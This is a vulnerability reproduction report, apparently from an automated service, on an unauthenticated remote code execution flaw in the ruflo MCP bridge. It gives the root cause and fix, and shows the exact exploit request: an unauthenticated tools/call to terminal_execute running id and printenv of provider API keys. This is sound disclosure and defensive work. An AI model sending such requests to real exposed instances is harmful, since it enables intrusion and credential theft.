Skip to content

CVE-2026-59726: Verified Reproduction

CVE-2026-59726: Unauthenticated RCE in ruflo MCP bridge default docker-compose deployment

CVE-2026-59726 is verified against ruflo · npm. Affected versions: < 3.16.3. Fixed in 3.16.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00315.

REPRO-2026-00315 ruflo · npm RCE Jul 30, 2026 CVE entry ↗ .txt
Severity
CRITICAL
Confidence
HIGH
Reproduced in
34m 45s
Tool calls
290
Spend
$5.05
01 · Overview

What Is CVE-2026-59726?

CVE-2026-59726 is a critical-severity RCE vulnerability affecting ruflo < 3.16.3. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00315).

02 · Severity & CVSS

CVE-2026-59726 Severity

CVE-2026-59726 is rated critical severity.

CRITICAL threat level
Weakness CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected ruflo Versions

ruflo · npm versions < 3.16.3 are affected.

How to Reproduce CVE-2026-59726

$ pruva-verify REPRO-2026-00315
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00315/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-59726

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unauthenticated JSON-RPC POST /mcp body: method=tools/call, params.name=ruflo__terminal_execute, params.arguments.command=<arbitrary shell command>

Attack chain
  1. POST /mcp
  2. createMcpHandler/catch-all tools/call
  3. executeTool(name)
  4. backend.callTool(ruflo, terminal_execute)
  5. execSync(command) as node (uid 1000)
Runnable proof: reproduction_steps.sh
Captured evidence: fixed container
How the agent worked 766 events · 290 tool calls · 35 min
35 minDuration
290Tool calls
241Reasoning steps
766Events
15Dead-ends
Agent activity over 35 min
Policy
1
Support
16
Repro
442
Judge
147
Variant
155
Verify
1
0:0034:45

Root Cause and Exploit Chain for CVE-2026-59726

Versions: ruflo < 3.16.3 (vulnerable at main commit 4e18ad84, the parent

The ruflo MCP bridge (ruflo/src/ruvocal/mcp-bridge/index.js, the service built by ruflo/docker-compose.yml) exposed POST /mcp and POST /mcp/:group with no authentication and bound to 0.0.0.0 by default. The only blocklist that referenced terminal_execute (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) was enforced solely in the autopilot SSE handler. The shared executeTool() function — invoked by POST /mcp and POST /mcp/:group for every tools/call — performed no gate, so an unauthenticated network attacker could call tools/callruflo__terminal_execute. The bridge routed that call to the ruflo MCP backend (@claude-flow/cli), whose terminal_execute handler runs execSync(command) on attacker-supplied input, yielding arbitrary command execution as the node user (uid 1000) inside the bridge container.

  • Package/component affected: ruflo MCP bridge — ruflo/src/ruvocal/mcp-bridge/index.js (the bridge built by ruflo/docker-compose.yml, service mcp-bridge, port 3001). The dangerous tool implementation lives in the ruflo backend (@claude-flow/cli, src/mcp-tools/terminal-tools.ts, execSync(command)).
  • Affected versions: ruflo < 3.16.3 (vulnerable at main commit 4e18ad84, the parent of the fix). The default docker-compose.yml enabled the devtools tool group (MCP_GROUP_DEVTOOLS=true), which exposes terminal_* tools, and ran the bridge with no MCP_AUTH_TOKEN and no bind-host restriction.
  • Risk level: Critical. Unauthenticated remote code execution. From the shell as node, an attacker can read every provider API key from the container environment (OPENAI_API_KEY, GOOGLE_API_KEY, OPENROUTER_API_KEY, ANTHROPIC_API_KEY), spawn attacker-controlled swarms on the victim's keys, and persist poisoned patterns into the AgentDB learning store.

Impact Parity

  • Disclosed/claimed maximum impact: Unauthenticated remote code execution (shell as node / uid 1000) via POST /mcptools/callterminal_execute, with provider API key disclosure and AgentDB poisoning.
  • Reproduced impact from this run: Unauthenticated RCE confirmed end-to-end through the real running bridge container. A single POST /mcp tools/call/ruflo__terminal_execute request with no authentication header returned command output uid=1000(node) gid=1000(node) groups=1000(node) / whoami=node, wrote an attacker marker file to /tmp inside the container and read it back, and executed printenv for the provider keys (exitCode: 0). No API keys were present in the reproduction environment, so the env-leak primitive was exercised but produced empty values; the command-execution primitive is fully demonstrated.
  • Parity: full for the core claimed impact (unauthenticated RCE as node via POST /mcpterminal_execute). The downstream consequences (key theft, swarm abuse, AgentDB poisoning) are direct implications of the demonstrated shell and were not separately exercised.

Root Cause

createMcpHandler() (per-group) and the catch-all POST /mcp handler both call executeTool(name, toolArgs) for tools/call. In the vulnerable code executeTool() only validated search-query shape and then routed unknown tool names to the matching external MCP backend via backend.callTool() — there was no server-side deny list. The AUTOPILOT_BLOCKED_PATTERNS array (containing /terminal_execute/) and isBlockedTool() were referenced only inside the autopilot SSE loop, never in executeTool():

// vulnerable (4e18ad84) — executeTool() has NO gate:
async function executeTool(name, args) {
  if (!args || typeof args !== "object") args = {};
  // ... only search-query validation ...
  switch (name) { /* search, web_research, guidance */ default: {
      const activeTools = getActiveTools();
      const extTool = activeTools.find(t => t.name === name);
      if (extTool) {
        const backend = mcpBackends.get(extTool._backend);
        if (backend) return backend.callTool(extTool._originalName, args); // -> execSync
      }
  }}
}

The ruflo backend's terminal_execute runs the command verbatim:

// @claude-flow/cli src/mcp-tools/terminal-tools.ts
output = execSync(command, { cwd, encoding: "utf-8", timeout, ... });

Compounding factors in the default deployment: app.listen(PORT) binds all interfaces; no auth middleware; CORS Access-Control-Allow-Origin: *; the devtools group (prefix terminal_) is enabled by default; MongoDB bound to 0.0.0.0:27017 without --auth.

Fix commit: d00a0a40cd8bdbca877ac7f675f416bdc69accd1 (PR #2521, ADR-166 Phase 1–3). It adds a server-side DANGEROUS_TOOLS gate at the top of executeTool() (denies terminal_execute unless MCP_ENABLE_TERMINAL=true), a requireAuth bearer middleware (timingSafeEqual), BIND_HOST=127.0.0.1 by default with fail-closed on public bind without MCP_AUTH_TOKEN, a CORS allowlist, and MongoDB --auth defaults.

Reproduction Steps

  1. See bundle/repro/reproduction_steps.sh (self-contained, executable).
  2. The script resolves the ruflo repo (prepared project cache or fresh clone), checks out the vulnerable commit 4e18ad84 (=d00a0a40^) and the fixed commit d00a0a40 into separate worktrees, sanity-checks that the vulnerable index.js lacks DANGEROUS_TOOLS and the fixed one has it, builds a real node:20-slim container for each commit (the ruflo MCP backend is the real published ruflo npm package; terminal_execute is verified present before baking), starts each container, and sends the actual unauthenticated POST /mcp tools/callruflo__terminal_execute request through the running HTTP service. It runs two clean vulnerable attempts and two clean fixed (negative-control) attempts, then writes bundle/repro/runtime_manifest.json.
  3. Expected evidence (all under bundle/):
    • artifacts/http/vuln_attempt1_response.json — MCP result whose text contains output: "uid=1000(node) ... <marker> ... ENV_LEAK:", exitCode: 0 → RCE as node.
    • artifacts/http/fixed_noauth_response.txt{"error":"unauthorized"} (HTTP 401).
    • artifacts/http/fixed_attempt1_response.json{"error":"Tool ... is disabled by default ...","code":"TOOL_DISABLED"}; the marker is absent (command not executed).
    • logs/reproduction_steps.log, logs/vuln_container.log, logs/fixed_container.log.

Evidence

Key excerpts (from bundle/artifacts/http/vuln_attempt1_response.json, vulnerable bridge, no Authorization header):

"command": "id; whoami; echo PRUVA_RCE_<marker> > /tmp/PRUVA_RCE_<marker>.txt; cat /tmp/PRUVA_RCE_<marker>.txt; echo ENV_LEAK:; printenv OPENAI_API_KEY GOOGLE_API_KEY OPENROUTER_API_KEY ANTHROPIC_API_KEY 2>/dev/null || true"
"output": "uid=1000(node) gid=1000(node) groups=1000(node)\nnode\nPRUVA_RCE_<marker>\nENV_LEAK:\n"
"exitCode": 0

Fixed bridge negative control (bundle/artifacts/http/fixed_attempt1_response.json, with Authorization: Bearer ...):

{ "error": "Tool \"ruflo__terminal_execute\" is disabled by default. Set MCP_ENABLE_TERMINAL=true to allow.", "code": "TOOL_DISABLED" }

Fixed bridge, no auth (bundle/artifacts/http/fixed_noauth_response.txt, HTTP 401):

{"error":"unauthorized"}

Environment: ruflo repo ruvnet/ruflo; vulnerable commit 4e18ad84c6c61be7ef43f62e371f8303a0f7517d; fixed commit d00a0a40cd8bdbca877ac7f675f416bdc69accd1; bridge built from ruflo/src/ruvocal/mcp-bridge on node:20-slim; ruflo backend = published ruflo npm package (via @claude-flow/cli), terminal_execute confirmed in tools/list (331 backend tools, 185 exposed after group filtering). Container runs as node (uid 1000).

Recommendations / Next Steps

  • Apply ADR-166 (PR #2521) fully: keep the executeTool() server-side gate as the single denial point for every path (not just autopilot); keep bearer auth + loopback bind by default; fail-closed on public bind without MCP_AUTH_TOKEN; keep MCP_ENABLE_TERMINAL opt-in; enforce MongoDB --auth.
  • Operators of any pre-fix exposed instance: firewall :3001 and :27017 immediately, rotate all provider API keys, and audit/purge the AgentDB pattern store for injected agentdb_pattern-store entries (a patched redeploy does not undo poisoning).
  • Add regression locks (the fix already ships test-runtime-security.mjs and test-security-lock.js) covering: unauthenticated POST /mcp terminal_executeTOOL_DISABLED; authenticated call still gated unless MCP_ENABLE_TERMINAL=true; public bind without token → non-zero exit.

Additional Notes

  • Idempotency: reproduction_steps.sh was executed three consecutive times; every run exited 0 with confirmed=true. It reuses a cached base tar / ruflo prefix / worktrees on a large scratch disk and re-imports fresh images each run.
  • Build method note: The default ruflo Dockerfile runs npm install -g ruflo, which resolves an >800 MB dependency tree that exceeds the 1 GB rootless-docker storage here, so a plain docker build runs out of space. The script instead assembles the container filesystem on the host's large workspace disk and imports it with docker import (single flat layer). The bridge index.js is the unmodified repo file at each commit, and the ruflo backend is the real published package (installed with --omit=optional, which still exposes terminal_execute because that tool only requires node:child_process execSync). The opt-in backends (agentic-flow, gemini-mcp-server, @openai/codex) and the intelligence (ruvector) backend are not part of the vulnerability path (terminal_execute is provided by the devtools/ruflo backend, default-on) and were omitted to fit storage; this does not affect the reproduction.
  • Limitation: No live provider API keys were set in the reproduction environment, so the env-leak output is empty; the printenv command executed successfully (demonstrating env access), and key disclosure is a direct implication of the demonstrated shell.

CVE-2026-59726 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:000:59
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-59726 · REPRO-20
0:04
0:06
web search
0:10
web search
0:16
0:17
0:18
web search
0:21
0:22
0:41
0:41
extract_facts
no facts extracted
0:42
0:42
supportclaim_contract
0:47
0:47
0:47
0:47
0:50
0:50
0:51
0:51
0:51
0:51
0:55
0:55
0:55
0:57
0:57
0:59
08 · How to Fix

How to Fix CVE-2026-59726

Upgrade ruflo · npm to 3.16.3 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-59726 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-59726

Is CVE-2026-59726 exploitable?

Yes. Pruva independently reproduced CVE-2026-59726 in ruflo and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00315).

How severe is CVE-2026-59726?

CVE-2026-59726 is rated critical severity.

What type of vulnerability is CVE-2026-59726?

CVE-2026-59726 is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')), a RCE vulnerability.

Which versions of ruflo are affected by CVE-2026-59726?

ruflo < 3.16.3 is affected by CVE-2026-59726.

Is there a fix for CVE-2026-59726?

Yes. CVE-2026-59726 is fixed in ruflo 3.16.3. Upgrading to the fixed version remediates the issue.

How can I reproduce CVE-2026-59726?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the CVE-2026-59726 reproduction verified?

Yes. Pruva reproduced CVE-2026-59726 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for CVE-2026-59726

Authoritative sources for CVE-2026-59726 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.